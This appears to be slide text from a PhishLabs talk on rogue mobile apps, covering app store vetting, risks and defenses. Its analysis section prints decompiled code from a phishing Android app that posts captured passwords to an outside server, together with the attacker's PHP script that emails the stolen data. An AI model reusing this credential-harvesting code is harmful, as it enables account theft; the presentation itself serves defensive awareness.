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Seems Legit….    
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Source: techcrunch.com 
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Source: huffingtonpost.co.uk 
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What is a Rogue Mobile App? 

 Mobile app from a “legitimate” 
repository 

 Creates a risk to a user or 
business 
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Image Source: 99designs / DakotaXT   
http://99designs.com/users/379656 
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App Repositories 
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App Repositories 
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App Repositories 
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App Repositories 

Result: Hundreds of “legit” places to download millions of apps 
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How are apps vetted? 

 Most mainstream app repositories check for: 
 App stability 

 Not spam or abusive advertising 

 Obvious copy-cat apps, duplicate names of well known apps 

 Unwanted content – e.g. porn, gambling 

 Graphic and UI standards 
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How are apps vetted? 
 What about security? 
 Some perform mobile malware 

scans 
 Few perform dynamic analysis 

(e.g. sandboxing) 
 Google Play uses the ‘Bouncer’ 

 App run under an emulator 
 Checks for theft of pictures and 

contacts amongst other behaviors 

 None perform code reviews 
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How are apps vetted? 
7.2 Google Takedowns. While Google does not undertake an obligation to monitor the Products or their content, if Google is 
notified by you or otherwise becomes aware and determines in its sole discretion that a Product or any portion thereof or your 
Brand Features;  
(a) violates the intellectual property rights or any other rights of any third party;  
(b) violates any applicable law or is subject to an injunction;  

(c) is pornographic, obscene or otherwise violates Google's hosting policies or other terms of service as may be updated by Google 
from time to time in its sole discretion;  

(d) is being distributed by you improperly;  

(e) may create liability for Google or Authorized Carriers;  

(f) is deemed by Google to have a virus or is deemed to be malware, spyware or have an adverse impact on Google's or an 
Authorized Carrier's network;  

(g) violates the terms of this Agreement or the Developer Program Policies for Developers; or  
(h) the display of the Product is impacting the integrity of Google servers (i.e., users are unable to access such content or otherwise 
experience difficulty), Google may remove the Product from the Market or reclassify the Product at its sole discretion. Google 
reserves the right to suspend and/or bar any Developer from the Market at its sole discretion.  

Source: Google Play Developer Distribution Agreement: http://play.google.com/about/developer-distribution-agreement.html  
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http://play.google.com/about/developer-distribution-agreement.html
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Rogue App Risks 

Threat Impact 
Logo-use, false affiliation, name 
similarities, copyright infringement 

Brand and Reputational Damage 

Spoof apps, Web wrapper apps User and revenue diversion 

Old legit apps redistributed Poor customer experience, loss of 
service improvement opportunity 

Spoof apps, insecure apps that take 
credentials 

Service abuse and fraud 

Malicious apps Data Theft – Contacts, Emails, etc. 

Adware apps, SMS senders/dialers Mobile Service Theft 
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Rogue App Risks 
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Rogue Mobile App Analysis 
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Rogue Mobile App Analysis 

 Download and install 
 Run the app 
 Of course it asks for credentials! 
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Rogue Mobile App Analysis 

.apk decompilation 
 
 
 
public void postData(String paramString) 
{ 
  DefaultHttpClient localDefaultHttpClient = new DefaultHttpClient(); 
  HttpPost localHttpPost = new HttpPost("http://5waw.com/appl.php"); 
  try 
  { 
    ArrayList localArrayList = new ArrayList(); 
    localArrayList.add(new BasicNameValuePair("myHttpData", paramString); 
    localArrayList.add(new BasicNameValuePair("pass", MainActivity.this.pass.getText().toString())); 
    localArrayList.add(new BasicNameValuePair("mora", MainActivity.this.mora.getText().toString())); 
    localArrayList.add(new BasicNameValuePair("mora2", MainActivity.this.EditText01.getText().toString())); 
    localArrayList.add(new BasicNameValuePair("mora3", MainActivity.this.EditText02.getText().toString())); 
    localHttpPost.setEntity(new UrlEncodedFormEntity(localArrayList)); 
    localDefaultHttpClient.execute(localHttpPost); 
    return; 
  } 
} 
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Rogue Mobile App Analysis 
 <?php 
// receive data from app's http request 
$data=$_POST["myHttpData"]; 
$pass=$_POST["pass"]; 
$mora=$_POST["mora"]; 
file_put_contents('myTextFile.txt',$data); 
$message .= "===================+ -------------- +=====================\n"; 
$message .= "l0l : ".$data."\n"; 
$message .= "id: ".$pass."\n"; 
$message .= "pop : ".$mora."\n"; 
$message .= "mor: ".$password."\n"; 
$message .= "================================================================\n"; 
$message .= "Client IP : ".$ip."\n"; 
$message .= "HostName : ".$hostname."\n"; 
$message .= "===================+ -------------- +=====================\n"; 
$send = "zauhir70@gmail.com"; 
$subject = "APP Android $data"; 
$headers = "From: <POST10@marcus.lunariffic.com>"; 
$headers .= $_POST['eMailAdd']."\n"; 
$headers .= "MIME-Version: 1.0\n"; 
mail($send,$subject,$message,$headers); 
?> 
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What to do about it 

 Users: 
 Keep your mobile OS and mobile apps up to date 

 Don’t download apps from third-party stores 

 Use mobile security software 
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What to do about it 

 App publishers: 
 Monitor mobile app stores for abuse 

 Consolidate app publishing and developers into one unit 

 Enterprises: 
 Develop and implement mobile device security policies and controls 

 On device security software 
 Establish and enforce app store policies if possible 

 Considering blocking downloads of apps from third-party sites files from the 
corporate network 
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References and Resources 

1. PhishLabs: http://www.phishlabs.com/ 

2. Dissecting the Android Bouncer 
http://diyhpl.us/~bryan/papers2/security/android/summercon12-bouncer.pdf  

3. Guide to Mobile Application Stores: 
http://www.mobileappstorelinks.com/Third-Party-App-Store-Guide.shtml 

4. Mobyaffiliates – App Store Guide: 
http://www.mobyaffiliates.com/blog/mobile-app-stores-list/  
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Thank you! 

 

 

John LaCour 
jal@phishlabs.com 
@phishlabs.com 

www.phishlabs.com 
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